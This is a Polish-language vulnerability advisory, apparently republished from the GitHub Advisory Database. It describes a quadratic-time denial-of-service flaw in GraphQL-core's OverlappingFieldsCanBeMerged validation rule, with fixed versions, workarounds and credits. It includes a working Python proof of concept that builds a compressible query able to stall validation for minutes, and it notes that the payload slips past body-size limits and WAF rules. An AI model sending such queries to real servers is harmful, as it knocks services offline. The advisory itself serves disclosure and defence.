GraphQL-core: Odmowa usługi przez złożoność kwadratową w regule walidacji OverlappingFieldsCanBeMerged
Podsumowanie
Reguła walidacji OverlappingFieldsCanBeMerged może osiągnąć kwadratowy — a w najgorszym przypadku O(n²·m²) — czas wykonywania przy użyciu małego, silnie kompresowalnego zapytania. Pojedynczy dokument o rozmiarze 364 KB może zająć jeden rdzeń procesora na ponad pięć minut w trakcie walidacji, zanim uruchomi się jakikolwiek resolver. Ponieważ reguła ta wchodzi w skład specified_rules i jest włączona domyślnie, luka dotyczy każdego serwera bazującego na GraphQL-core przy ustawieniach domyślnych.
Szczegóły
OverlappingFieldsCanBeMerged porównuje każdą parę pól dzielących tę samą nazwę odpowiedzi i wykonuje rekurencję w ich podzestawach selekcji. Memoizacja wprowadzona dla CVE-2023-26144 (GHSA-9pv7-vfvm-6vr7) jest indeksowana tożsamością nazwanego fragmentu (named fragment), w związku z czym nie obejmuje tej ścieżki: fragmenty wstawiane (inline fragments) są spłaszczane do nadrzędnego zbioru selekcji przed sprawdzeniem pamięci podręcznej, przez co każda para jest porównywana od nowa na każdym poziomie zagnieżdżenia.
Powtórzenie fragmentu wstawianego, który wybiera tę samą nazwę odpowiedzi na dwóch poziomach zagnieżdżenia, potęguje te dwa efekty. Brak limitu porównań oraz brak limitu czasu walidacji powodował, że reguła wykonywała się do samego końca bez względu na koszt.
Koszt ponoszony jest w fazie walidacji, co utrudnia obronę spoza samej biblioteki: mechanizmy ograniczania głębokości zapytań, analizatory złożoności i szacowania kosztów działają na sparsowanym dokumencie dopiero po walidacji, podczas gdy szkodliwy dokument jest trywialnie płytki (głębokość 3, złożoność 1). Ładunek jest ponadto jednym krótkim ciągiem znaków powtórzonym wielokrotnie, więc kompresuje się do kilku kilobajtów i omija limity rozmiaru treści oraz reguły WAF analizujące wyłącznie skompresowane żądanie.
Proof of concept
import time
from graphql import build_schema, parse, validate
schema = build_schema(
"type Query { field: Node } type Node { f: Node, g: Node, x: String }"
)
def gen(n: int, m: int) -> str:
inner = " ".join(["... on Node { x }"] * m)
outer = " ".join([f"... on Node {{ f {{ {inner} }} }}"] * n)
return f"{{ field {{ {outer} }} }}"
query = gen(200, 100) # 364 KB, gzips to a few KB
document = parse(query)
start = time.perf_counter()
validate(schema, document) # returns no errors — it just burns CPU
print(f"{(time.perf_counter() - start):.0f}s")
Pomiary na GraphQL-core 3.2.8 / CPython 3.12 / Linux x86_64:
| n | m | rozmiar zapytania | czas walidacji |
|---|---|---|---|
| 20 | 20 | 7.6 KB | 0.16 s |
| 50 | 50 | 46 KB | 5.2 s |
| 100 | 100 | 182 KB | 81 s |
| 200 | 100 | 364 KB | 319 s |
Podwojenie n przy ustalonym m czterokrotnie zwiększa czas, zgodnie z oczekiwaniami dla kwadratowej pętli zewnętrznej sterującej kwadratowym przejściem wewnętrznym.
Wpływ
Odmowa usługi (Denial of Service). Pojedyncze żądanie blokuje jeden proces roboczy na wiele minut; ponieważ CPython utrzymuje blokadę GIL przy operacjach angażujących czyste CPU, zaledwie kilka równoległych żądań może wysycić standardowe wdrożenie wieloprocesowe. Uwierzytelnienie nie jest wymagane; żadne dane nie zostają ujawnione ani zmodyfikowane.
Poprawki
Rozwiązano w wersjach 3.2.12 oraz 3.3.0rc1.
Walidacja wymusza obecnie limit porównań dla pojedynczego dokumentu. Po wykonaniu MAX_FIELD_COMPARISONS (domyślnie 250_000) porównań par reguła przerywa działanie i zgłasza błąd GraphQLError zamiast kontynuować:
Query is too complex to validate for overlapping fields: exceeded 250000 field comparisons. Validation was aborted.
Wartość domyślna znacznie przewyższa zapotrzebowanie jakiegokolwiek realistycznego zapytania. Jest to stała na poziomie modułu i może zostać zwiększona lub zmniejszona:
from graphql.validation.rules import overlapping_fields_can_be_merged
overlapping_fields_can_be_merged.MAX_FIELD_COMPARISONS = 1_000_000
Należy zauważyć zmianę zachowania: patologiczne zapytanie, które wcześniej było walidowane (bardzo powoli), generuje teraz błąd walidacji.
Obejścia
Jeśli nie można dokonać aktualizacji, należy odrzucać zbyt duże dokumenty, zanim trafią do validate(). Warto pamiętać, że limit rozmiaru treści żądania musi dotyczyć zdekompresowanego ładunku, aby był skuteczny, ponieważ pakiet jest wysoce kompresowalny. Usunięcie OverlappingFieldsCanBeMergedRule z zestawu reguł nie jest bezpiecznym obejściem: jest to reguła poprawności wymagana przez specyfikację.
Limit rozmiaru treści pozostaje zalecany również po aktualizacji — limit porównań ogranicza wyłącznie tę konkretną regułę, a nie całkowity koszt żądania.
Podziękowania
Zgłoszone przez @BZHunt, który dokonał także przeglądu poprawek przed wydaniem. Ku pamięci ZaX, który był siłą napędową tego odkrycia.
Niezależnie odnalezione i zdiagnozowane przez @bcmyguest, który zaproponował również poprawkę.
Co trzeba zrobić
Zaktualizuj do wersji 3.2.12, 3.3.0rc1 lub nowszej. W razie braku możliwości natychmiastowej aktualizacji należy wdrożyć limity rozmiaru dla zdekompresowanych treści żądań przed przekazaniem ich do validate(). Nie należy wyłączać reguły OverlappingFieldsCanBeMergedRule.
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Python (PyPI) | graphql-core | >= 3.0.0, < 3.2.12, >= 3.3.0a1, < 3.3.0rc1 | 3.2.12, 3.3.0rc1 |
Odnośniki
- https://github.com/graphql-python/graphql-core/security/advisories/GHSA-vj8h-fx38-h3vc
- https://github.com/graphql-python/graphql-core/commit/150e59814d97d12140be005a558c93188ef89198
- https://github.com/graphql-python/graphql-core/commit/29c2753a7ee30a96a4109e7c6add1a2dae0497d7
- https://github.com/graphql-python/graphql-core
- https://github.com/graphql-python/graphql-core/releases/tag/v3.2.12
- https://github.com/graphql-python/graphql-core/releases/tag/v3.3.0rc1
- Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H- Słabość (CWE)
CWE-400, CWE-407- Platforma
- Python (PyPI)
- Paczka
graphql-core- Ujawniono
- 22.10.2026
- Aktualizacja
- 26.10.2026 10:00
Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.
OSV / GitHub Advisory Database - GHSA-vj8h-fx38-h3vc - CC BY 4.0
Historia podatności: graphql-core
Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 3
- Pierwsza → ostatnia
- 10.2026 10.2026
- Bez poprawki
- 0
- Wykorzystywana w atakach
- 0
Rozkład istotności
- Wysoka 3
Ujawnienia w latach
- 2026: 3
-
GraphQL-core: Odmowa usługi przez złożoność kwadratową w regule walidacji OverlappingFieldsCanBeMerged ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.